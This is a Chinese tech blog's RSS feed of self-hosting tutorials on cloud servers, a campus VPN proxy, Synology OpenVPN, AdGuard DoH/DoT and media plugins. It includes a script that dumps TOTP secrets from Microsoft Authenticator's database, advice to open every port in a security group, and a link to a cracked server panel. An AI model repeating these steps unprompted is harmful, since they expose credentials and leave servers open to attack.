&lt;p&gt;本人一开始进行了上面两个操作，也试过手机开热点，都不行，最后只能被迫打开WiFi5兼容，这会导致此WLAN下的所有设备无法使用WiFi6，属于最无奈的解决方法&lt;/p&gt;
&lt;p&gt;下面附MicroPython的网络排查状态&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wlan.status() //返回无线连接的当前状态
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;STAT_IDLE&lt;/code&gt; – 没有连接，没有活动-1000&lt;/li&gt;
&lt;li&gt;&lt;code&gt;STAT_CONNECTING&lt;/code&gt; – 正在连接-1001&lt;/li&gt;
&lt;li&gt;&lt;code&gt;STAT_WRONG_PASSWORD&lt;/code&gt; – 由于密码错误而失败-202&lt;/li&gt;
&lt;li&gt;&lt;code&gt;STAT_NO_AP_FOUND&lt;/code&gt; – 失败，因为没有接入点回复,201&lt;/li&gt;
&lt;li&gt;&lt;code&gt;STAT_GOT_IP&lt;/code&gt; – 连接成功-1010&lt;/li&gt;
&lt;li&gt;&lt;code&gt;STAT_ASSOC_FAIL&lt;/code&gt; – 203&lt;/li&gt;
&lt;li&gt;&lt;code&gt;STAT_BEACON_TIMEOUT&lt;/code&gt; – 超时-200&lt;/li&gt;
&lt;li&gt;&lt;code&gt;STAT_HANDSHAKE_TIMEOUT&lt;/code&gt; – 握手超时-204&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>新手向：大学生用华为云搭建作业备份网盘</title><link>https://nvcc-v.com/2024/11/25/huawei-cloud-homework-backup/</link><guid isPermaLink="true">https://nvcc-v.com/2024/11/25/huawei-cloud-homework-backup/</guid><description>记录大学生领取华为云权益、购买 Flexus L 实例、配置安全组并部署可道云作业备份网盘的过程。</description><pubDate>Mon, 25 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;引&lt;/h2&gt;
&lt;p&gt;上过大学的都知道，，，我们经常需要去机房上各种上机课，其中不乏工程制图(CAD)，编程，数电，计网等课程，在当堂作业没做完时需要带回寝室继续完成，下节课也需要重新带过来提交，如果用U盘，遗忘或丢失的概率较大，如果放在QQ/微信，可能也会面临文件过期，登录复杂等场景。&lt;/p&gt;
&lt;h2&gt;解决方案&lt;/h2&gt;
&lt;p&gt;刚好朋友发了我一个白嫖华为云轻量云的羊毛路子，故今天带各位不熟悉linux的同学体验一下，顺便可以当做~ftp网盘~（经测试bug太多...遂换可道云），用来存放一些作业&lt;/p&gt;
&lt;h2&gt;注册账号&lt;/h2&gt;
&lt;p&gt;首先点开此&lt;a href=&quot;https://developer.huaweicloud.com/programs/dev-program.html&quot;&gt;链接&lt;/a&gt;，注册登录后选择个人方向&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/image-1024x522.png&quot; alt=&quot;注册账号 - 新手向：大学生用华为云搭建作业备份网盘 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进去后简单填写一些基本信息就可以完成注册&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/image-1-1024x522.png&quot; alt=&quot;注册账号 - 新手向：大学生用华为云搭建作业备份网盘 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;申请代金券&lt;/h2&gt;
&lt;p&gt;然后进入&lt;a href=&quot;https://developer.huaweicloud.com/space/incentive/program-activity&quot;&gt;开发者空间&lt;/a&gt;，选择激励管理-计划权益&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/image-2-1024x522.png&quot; alt=&quot;申请代金券 - 新手向：大学生用华为云搭建作业备份网盘 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;申请第四项学习代金券（云服务），其它申请没用&lt;/p&gt;
&lt;p&gt;代金券发放后可以去购买云服务器了&lt;/p&gt;
&lt;h2&gt;购买服务器&lt;/h2&gt;
&lt;p&gt;进入华为云Flexus服务购买网址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/image-3-1024x522.png&quot; alt=&quot;购买服务器 - 新手向：大学生用华为云搭建作业备份网盘 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择购买L实例&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;区域选择中国-香港&lt;/li&gt;
&lt;li&gt;镜像选择可道云&lt;/li&gt;
&lt;li&gt;实例规格选择36.80元/月&lt;/li&gt;
&lt;li&gt;购买九个月&lt;/li&gt;
&lt;li&gt;确保订单金额为331.20就可以下单购买了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/image-17-1024x522.png&quot; alt=&quot;购买服务器 - 新手向：大学生用华为云搭建作业备份网盘 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;购买处可以选择代金券支付&lt;/p&gt;
&lt;h2&gt;续费&lt;/h2&gt;
&lt;p&gt;代金券还剩下69.80可以补3.80元差价再续费两个月，相当于3.80拿下一年的云服务器&lt;/p&gt;
&lt;p&gt;我们进入Flexus云服务，然后进入实例控制面板&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/image-18-1024x522.png&quot; alt=&quot;续费 - 新手向：大学生用华为云搭建作业备份网盘 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击更改安全组放行端口，如下图填写放行全部协议和所有端口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/image-22-1024x511.png&quot; alt=&quot;续费 - 新手向：大学生用华为云搭建作业备份网盘 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/17f67fbc64bee1308fdd89376a03afb3-1024x572.png&quot; alt=&quot;续费 - 新手向：大学生用华为云搭建作业备份网盘 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;复制下图箭头的管理网址，进入网盘控制面板&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/image-19-1024x522.png&quot; alt=&quot;续费 - 新手向：大学生用华为云搭建作业备份网盘 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置账号并登录就可以使用你的私有云盘了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/image-20-1024x522.png&quot; alt=&quot;续费 - 新手向：大学生用华为云搭建作业备份网盘 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可玩性很高，可以自己多尝试！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/11/image-21-1024x621.png&quot; alt=&quot;续费 - 新手向：大学生用华为云搭建作业备份网盘 操作截图 6&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>如何优雅地借助公网服务器访问学校内网(EasyConnect)</title><link>https://nvcc-v.com/2024/05/10/easyconnect-relay-proxy/</link><guid isPermaLink="true">https://nvcc-v.com/2024/05/10/easyconnect-relay-proxy/</guid><description>通过公网服务器和 Docker EasyConnect 搭建校园内网中继，提供 SOCKS5 与 HTTP 代理并记录 VNC 配置方法。</description><pubDate>Fri, 10 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;我们在~因学校~被迫使用EasyConnect的时候，经常会遇到各种各样的问题，比如安卓的系统版本太新，导致软件不兼容从而无法打开，亦或是和自身的系统代理存在冲突，经常需要切换非常麻烦，就想能不能通过一个跳板来将EasyConnect实现分流代理，经过网上简单搜索，还真就找到了这个项目。&lt;/p&gt;
&lt;h2&gt;项目介绍&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/docker-easyconnect/docker-easyconnect/tree/master&quot;&gt;docker-easyconnect/docker-easyconnect: 使深信服（Sangfor）开发的非自由的 VPN 软件 EasyConnect 和 aTrust 运行在 docker 或 podman 中，并作为网关和/或提供 socks5、http 代理服务 (github.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;该项目主要通过docker运行Easyconnect软件，并通过提供 &lt;a href=&quot;https://github.com/docker-easyconnect/docker-easyconnect/blob/master/doc/usage.md#%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1&quot;&gt;socks5 和 http 代理&lt;/a&gt;服务和&lt;a href=&quot;https://github.com/docker-easyconnect/docker-easyconnect/blob/master/doc/usage.md#ip-forward&quot;&gt;网关&lt;/a&gt;供宿主机连接使用。&lt;/p&gt;
&lt;h2&gt;使用指南&lt;/h2&gt;
&lt;p&gt;首先我们需要一台服务器（该容器占用内存大约为300M），并正确安装docker，然后通过ssh输入以下命令（需要自己修改），为了让大家更直观地理解各项参数，我这边贴出UNraid docker管理的图形化界面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run --rm --device /dev/net/tun --cap-add NET_ADMIN -ti -e PING_ADDR= xxx.edu.cn -e PASSWORD=xxxx -e URLWIN=1 -e SOCKS_USER=xxx -e SOCKS_PASSWD=xxx -v $HOME/.ecdata:/root -p 127.0.0.1:5901:5901 -p 127.0.0.1:1080:1080 -p 127.0.0.1:8888:8888 hagb/docker-easyconnect:7.6.7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/05/image-1024x514.png&quot; alt=&quot;使用指南 - 如何优雅地借助公网服务器访问学校内网(EasyConnect) 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2024/05/image-2-1024x510.png&quot; alt=&quot;使用指南 - 如何优雅地借助公网服务器访问学校内网(EasyConnect) 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;配置docker需要注意的几个点是&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;hagb/docker-easyconnect:7.6.7中的7.6.7是你学校客户端的版本，须确保一致&lt;/li&gt;
&lt;li&gt;5901是VNC端口，我们可以通过VNC连接容器并使用图形化界面配置登录&lt;/li&gt;
&lt;li&gt;1080是Socks5代理端口，8888是http代理端口&lt;/li&gt;
&lt;li&gt;SOCKS_USER和SOCKS_PASSWD即Socks的身份验证用户名和密码，开放到公网需要填写&lt;/li&gt;
&lt;li&gt;PING_ADDR是不断地ping你的VPN代理的校园网网址，用于保活防止长时间不连接被踢下线&lt;/li&gt;
&lt;li&gt;同时需要将容器的/root路径映射到宿主机创建的/.ecdata下，以保存登录信息&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当容器运行起来后，我们需要下载&lt;a href=&quot;https://www.realvnc.com/en/connect/download/viewer/&quot;&gt;VNC&lt;/a&gt;进行连接，通过ip:5901进行连接，然后正常配置校园VPN后就可以使用1080（Socks5）或者8888（http）端口进行代理访问了&lt;/p&gt;
&lt;h2&gt;配置🐱访问&lt;/h2&gt;
&lt;p&gt;1.通过分流实现代理&lt;/p&gt;
&lt;p&gt;可以在Github托管自己专属的分流规则，将自己学校的域名加入进去，并通过&lt;a href=&quot;https://convert.imgki.com/&quot;&gt;订阅转换&lt;/a&gt;将自用的代理整合进一个配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DOMAIN-SUFFIX,xxx.edu.cn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上代码表示匹配域名后缀，一般学校会将各个服务网站分配至二级~（三级）~域名，所以一般只需要这一条规则就够了（当然具体也要根据实际情况来看）&lt;/p&gt;
&lt;p&gt;2.通过配置文件全局代理&lt;/p&gt;
&lt;p&gt;或者仅仅是通过切换配置文件来实现暂时的全局代理，对于访问学校内网需求度不太大的同学也是可以的，以下是以Socks5为例的🐱配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proxies:
- name: &quot;socks&quot;
  type: socks5
  server: server #填写你的ip或域名
  port: 1080
  username: username #上面配置docker时填写的用户名
  password: password #上面配置docker时填写的密码
  # skip-cert-verify: true
  udp: true
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>手动导出 Microsoft Authenticator 的 2FA 密钥</title><link>https://nvcc-v.com/2024/01/29/export-microsoft-authenticator-2fa/</link><guid isPermaLink="true">https://nvcc-v.com/2024/01/29/export-microsoft-authenticator-2fa/</guid><description>从 Android 设备备份 Microsoft Authenticator 的 PhoneFactor 数据库，并使用脚本导出其中保存的 2FA 密钥。</description><pubDate>Mon, 29 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;转载 文章来源&lt;a href=&quot;https://zhufan.net/2023/10/05/%E6%89%8B%E5%8A%A8%E5%AF%BC%E5%87%BA-microsoft-authenticator-%E4%B8%AD%E7%9A%84%E5%AF%86%E9%92%A5/&quot;&gt;手动导出 Microsoft Authenticator 中的2FA密钥 | 煮饭🍚 (zhufan.net)&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;我之前一直在使用 Google Authenticator，后因 Microsoft Authenticator 拥有云备份功能，所以转移到后者。云备份功能可以方便的让我们在更换设备以后无痛进行迁移，但是因为 Microsoft Authenticator 本身没有导出密钥的功能，所以导致我一直无法迁移存量数据到新的其他相关应用。今天找到了破解之道，且没搜索到中文相关内容，简单做下翻译水篇文章，希望能帮到更多屈服于微软淫威之下的人。&lt;/p&gt;
&lt;h2&gt;步骤&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;找到数据
Microsoft Authenticator 中的2FA密钥数据存储路径为 /data/data/com.azure.authenticator/databases/PhoneFactor。由于是在/data/目录下，所以需要手机Root才能查看到。如果你没有Root也不用怕，完全可以迂回的通过云备份功能同步到其他Root后的手机或者模拟器中再进行操作。&lt;/li&gt;
&lt;li&gt;读取数据
PhoneFactor 文件本身是Sqlite数据库文件，所以复制文件时候需要复制PhoneFactor-shm和PhoneFactor-wal这两兄弟（如果有），可以通过Sqlite数据库操作软件来查看具体的数据信息。想要的数据就在 accounts 表中。我这里就直接让chatgpt写了一个导出脚本。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import sqlite3
import uuid
import json

# 连接到SQLite数据库
conn = sqlite3.connect(&apos;PhoneFactor&apos;)
cursor = conn.cursor()

# 执行SQL查询，仅选择account_type为0的行
cursor.execute(&quot;SELECT name, username, oath_secret_key FROM accounts WHERE account_type = 0&quot;)

result = []

# 遍历查询结果，并创建所需的JSON对象
for row in cursor.fetchall():
    name, username, secret_key = row
    uuid_str = str(uuid.uuid4())
    otpauthstr = f&quot;otpauth://totp/{name}:{username}?secret={secret_key}&quot;
    result.append({
        &quot;uuid&quot;: uuid_str,
        &quot;otpauthstr&quot;: otpauthstr
    })

# 关闭数据库连接
conn.close()

# 将结果以JSON格式输出
output_json = json.dumps(result, indent=4)
print(output_json)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;copyaccount_type为1的是微软本身的账户，为0的是手动添加的第三方账户。&lt;/li&gt;
&lt;li&gt;导入数据
拿到数据以后我们可以导入到自己想要使用的任意软件了，可以手动输入secret_key，也可以直接将上面otpauth://开头的url直接生成二维码进行扫码导入。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本文部分内容参考以下链接：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/beemdevelopment/Aegis/issues/186&quot;&gt;https://github.com/beemdevelopment/Aegis/issues/186&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Jellyfin和Emby刮削小姐姐插件-MetaTube使用方法</title><link>https://nvcc-v.com/2023/12/30/metatube-plugin-guide/</link><guid isPermaLink="true">https://nvcc-v.com/2023/12/30/metatube-plugin-guide/</guid><description>在 Jellyfin 和 Emby 中安装配置 MetaTube 插件，用于成人影视资源的元数据刮削与媒体库整理。</description><pubDate>Sat, 30 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;原文：&lt;a href=&quot;https://github.com/metatube-community/jellyfin-plugin-metatube/blob/main/README_ZH.md&quot;&gt;https://github.com/metatube-community/jellyfin-plugin-metatube/blob/main/README_ZH.md&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Jellyfin&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;进入 Jellyfin 控制台 &amp;gt; 插件 &amp;gt; 存储库，点击添加&lt;/li&gt;
&lt;li&gt;输入存储库名称：MetaTube&lt;/li&gt;
&lt;li&gt;适用于中国大陆的存储库URL：&lt;a href=&quot;https://cdn.jsdelivr.net/gh/metatube-community/jellyfin-plugin-metatube@dist/manifest.json&quot;&gt;https://cdn.jsdelivr.net/gh/metatube-community/jellyfin-plugin-metatube@dist/manifest.json&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;在插件目录下找到 MetaTube，点击安装&lt;/li&gt;
&lt;li&gt;重启Jellyfin&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Emby&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;从 Releases 下载 MetaTube 最新插件&lt;/li&gt;
&lt;li&gt;解压出 MetaTube.dll 文件&lt;/li&gt;
&lt;li&gt;将 dll 文件复制到 Emby 插件目录&lt;/li&gt;
&lt;li&gt;重启 Emby 服务&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;PS：Emby 后续插件更新由计划任务在后台自动完成。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重启后就可以正常使用了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步是新添加一个媒体库，不要和普通电影放在一个媒体库里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;内容类型是电影&lt;/p&gt;
&lt;p&gt;如果名字不符合规定的话，手动识别一下，名字只写番号&lt;/p&gt;
&lt;h2&gt;自建后端&lt;/h2&gt;
&lt;p&gt;安装docker-compose&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt update
apt install docker-compose -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;官方脚本通过docker-compose一键部署后端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir metatube-sdk-go &amp;amp;&amp;amp; cd metatube-sdk-go
curl -sL https://raw.githubusercontent.com/metatube-community/metatube-sdk-go/main/docker-compose.yaml -o docker-compose.yaml
docker-compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内存模式compose示例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;

services:
  metatube:
    image: ghcr.io/metatube-community/metatube-server:latest
    container_name: metatube
    ports:
      - &quot;8080:8080&quot;
    restart: unless-stopped
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>基于群晖VPN Server的OpenVPN服务端部署教程</title><link>https://nvcc-v.com/2023/12/02/synology-openvpn-setup/</link><guid isPermaLink="true">https://nvcc-v.com/2023/12/02/synology-openvpn-setup/</guid><description>在群晖 VPN Server 上配置 OpenVPN 服务端和客户端，并通过静态路由实现不同地点设备之间的安全访问。</description><pubDate>Sat, 02 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;由于博主OpenWrt更新，导致原本位于OP上的OpenVPN Server莫名其妙无法启动，又由于高版本安卓目前只兼容IKEv2/IPsec，路由上没有合适的软件包去部署，故选择使用群晖的套件来部署OpenVPN Server，同时也可以为有群晖但没有软路由的同学提供一些参考。&lt;/p&gt;
&lt;h2&gt;实现步骤&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;下载并安装&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;首先对于群晖是没办法在套件中心直接下载VPN Server的，我们需要在非大陆的群晖官网下载spk&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.synology.com/zh-hk/support/download&quot;&gt;下載中心 | 群暉科技 Synology Inc.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里选择香港地区的官网，我们首先要选择NAS相关，再选择自己的NAS机型，注意然后要选择正确的版本号，再搜索套件（Ctrl+F），不然是安装不上的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/12/image-3-1024x115.png&quot; alt=&quot;实现步骤 - 基于群晖VPN Server的OpenVPN服务端部署教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载后打开群晖套件中心，选择手动安装，然后选择刚刚下载好的spk，安装好后打开VPN Server。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;设置&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;打开VPN Server后，先检查权限页面是否给齐。然后选择OpenVPN，勾选启动OpenVPN服务器，通讯协议选择TCP（经个人测试UDP会有一些问题），勾上允许客户端访问服务器的LAN，其余可以保持默认，点击应用后，导出配置文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/12/image-2-1024x575.png&quot; alt=&quot;实现步骤 - 基于群晖VPN Server的OpenVPN服务端部署教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;用记事本打开.ovpn文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;remote YOUR_SERVER_IP 1194
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将第四行的YOUR_SERVER_IP改为你的ddns域名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redirect-gateway def1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时删掉第20行的这个#，保存后导入客户端就可以愉快使用了！&lt;/p&gt;
&lt;h2&gt;挂载SMB！&lt;/h2&gt;
&lt;p&gt;首先需要获取群晖root权限&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://post.smzdm.com/p/allev300/#:~:text=1%E3%80%81%E7%99%BB%E5%BD%95%E7%BE%A4%E6%99%96%EF%BC%8C%E6%8E%A7%E5%88%B6%E9%9D%A2%E6%9D%BF%E2%9E%A1%E7%BB%88%E7%AB%AF%E6%9C%BA%E5%92%8CSNMP%2C%E5%8B%BE%E9%80%89%E5%90%AF%E5%8A%A8ssh%E5%8A%9F%E8%83%BD%E3%80%82%202%E3%80%81%E5%BC%80%E6%89%93ssh%E5%B7%A5%E5%85%B7%EF%BC%8C%E8%BF%99%E9%87%8C%E4%BD%BF%E7%94%A8%E7%9A%84%E6%98%AFfinalshell%EF%BC%8C%E7%99%BB%E5%BD%95%E7%BE%A4%E6%99%96%E3%80%82,3%E3%80%81%E8%BE%93%E5%85%A5sudo%20-i%E7%84%B6%E5%90%8E%E8%BE%93%E5%85%A5%E7%BE%A4%E6%99%96%E7%99%BB%E5%BD%95%E5%AF%86%E7%A0%81%E8%BF%9B%E5%85%A5root%E6%9D%83%E9%99%90%E3%80%82&quot;&gt;群晖DSM7.0以上开启ROOT权限教程_NAS存储_什么值得买 (smzdm.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后通过root登录ssh&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd ..
cd etc/samba/
vim smb.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在末尾输入（其中192.168.101.0替换为自己群晖所在的子网）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hosts allow=192.168.101.0/24 10.8.0.0/24 127.0.0.1
interfaces =192.168.101.0/24 10.8.0.0/24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存后在群晖控制面板中关闭再开启smb服务&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/12/image-4-1024x496.png&quot; alt=&quot;挂载SMB！ - 基于群晖VPN Server的OpenVPN服务端部署教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后在Windows资源管理器中输入\\192.168.x.x（你的群晖IP）就可以访问目录资源了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/12/image-5-1024x540.png&quot; alt=&quot;挂载SMB！ - 基于群晖VPN Server的OpenVPN服务端部署教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;体验&lt;/h2&gt;
&lt;p&gt;使用体验是很好的，配合软路由的OpenClash，你可以在连上OpenVPN后同时访问内“外”网资源。&lt;/p&gt;
</content:encoded></item><item><title>大学生白嫖阿里云服务器搭建私人DOT/DOH</title><link>https://nvcc-v.com/2023/11/03/aliyun-free-doh-dot/</link><guid isPermaLink="true">https://nvcc-v.com/2023/11/03/aliyun-free-doh-dot/</guid><description>记录使用阿里云学生优惠服务器部署 AdGuard Home，并配置 DoT 与 DoH 加密 DNS 服务的完整过程。</description><pubDate>Fri, 03 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;领取服务器（需要学信网）&lt;/h2&gt;
&lt;p&gt;阿里云-云工开物300大学生优惠券领取地址：&lt;a href=&quot;https://university.aliyun.com/&quot;&gt;阿里云高校计划_云工开物_助力高校科研与教育加速-阿里云 (aliyun.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2核1g 3mbps/年轻量云服务器购买地址：&lt;a href=&quot;https://www.aliyun.com/product/swas?scm=20140722.S_card@@%E4%BA%A7%E5%93%81@@172363.S_card0.ID_card@@%E4%BA%A7%E5%93%81@@172363-RL_%E8%BD%BB%E9%87%8F-LOC_search~UND~card~UND~item-OR_ser-V_3-P0_0&amp;amp;source=5176.11533457&amp;amp;userCode=p9e3trrw&quot;&gt;轻量应用服务器_web服务器_个人建站_弹性计算-阿里云 (aliyun.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;选择新加坡或者香港（限量）的机器，系统镜像选择ubuntu（也可根据个人喜好选择），开通一年即零元。&lt;/p&gt;
&lt;h2&gt;使用轻量应用服务器&lt;/h2&gt;
&lt;p&gt;开放防火墙TCP-3000和TCP-853端口&lt;/p&gt;
&lt;p&gt;设置root登录密码&lt;/p&gt;
&lt;h2&gt;root登录SSH&lt;/h2&gt;
&lt;p&gt;根据此教程安装宝塔&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.btkaixin.net/&quot;&gt;宝塔开心版8.0.2_宝塔Linux面板8.0.2 开心_宝塔 8.0.2 (btkaixin.net)&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;登入宝塔面板&lt;/h2&gt;
&lt;p&gt;进行初始化安装必要环境，然后安装docker&lt;/p&gt;
&lt;p&gt;在容器中先拉取镜像&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adguard/adguardhome
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后添加容器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/11/image.png&quot; alt=&quot;登入宝塔面板 - 大学生白嫖阿里云服务器搭建私人DOT/DOH 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按照如图所示参数添加容器（重启规则可设置错误时重启）&lt;/p&gt;
&lt;h2&gt;设置Adguard Home 加密连接&lt;/h2&gt;
&lt;p&gt;登入你的服务器ip:3000的Adg初始化网页，设置网页登录端口为3000，其余默认，登入控制面板&lt;/p&gt;
&lt;p&gt;进入设置-加密设置-启用加密&lt;/p&gt;
&lt;p&gt;填入服务器名称（即你的域名），以及下方填入证书内容&lt;/p&gt;
&lt;h2&gt;其它设置&lt;/h2&gt;
&lt;p&gt;由于服务器位于国外，可将上游 DNS 服务器设置为8.8.8.8和1.1.1.1，将能达到更快的响应速度&lt;/p&gt;
&lt;p&gt;过滤器-DNS黑名单主要设置这两个，其中第二个对国内广告命中率较高&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/11/image-1-1024x304.png&quot; alt=&quot;其它设置 - 大学生白嫖阿里云服务器搭建私人DOT/DOH 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;宝塔设置反向代理以将二级域名重定向指容器&lt;/h2&gt;
&lt;p&gt;在宝塔面板中添加站点域名填写解析到当前服务器的域名，例如doh.abc.com，其余默认&lt;/p&gt;
&lt;p&gt;然后进入站点设置，填入证书内容并启用SSL，然后添加反向代理，代理名称填入doh，目标URL填入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://127.0.0.1:444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以此类推再添加一个DOT站点，注意URL填入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://127.0.0.1:853
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;如何使用&lt;/h2&gt;
&lt;p&gt;Win11可在网络设置中DNS设置直接使用DOH&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/11/image-2-752x1024.png&quot; alt=&quot;如何使用 - 大学生白嫖阿里云服务器搭建私人DOT/DOH 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安卓则只能在设置中设置DOT（即私人DNS）&lt;/p&gt;
</content:encoded></item><item><title>给NAS-Tool添加拓展功能，自定义刷流、索引规则</title><link>https://nvcc-v.com/2023/10/17/nas-tools-plugin-extension/</link><guid isPermaLink="true">https://nvcc-v.com/2023/10/17/nas-tools-plugin-extension/</guid><description>为 NAS-Tool 安装第三方插件扩展，配置自定义 PT 站索引与自动刷流规则。</description><pubDate>Tue, 17 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;安装第三方插件拓展包&lt;/h2&gt;
&lt;p&gt;安装方法&lt;/p&gt;
&lt;p&gt;根据系统执行对应的命令即可，&lt;code&gt;需要root权限&lt;/code&gt;执行。 也可下载 &lt;code&gt;shell&lt;/code&gt; 脚本，从脚本内提取安装包，自行替换 &lt;code&gt;nas-tools&lt;/code&gt; 目录&lt;/p&gt;
&lt;ul&gt;
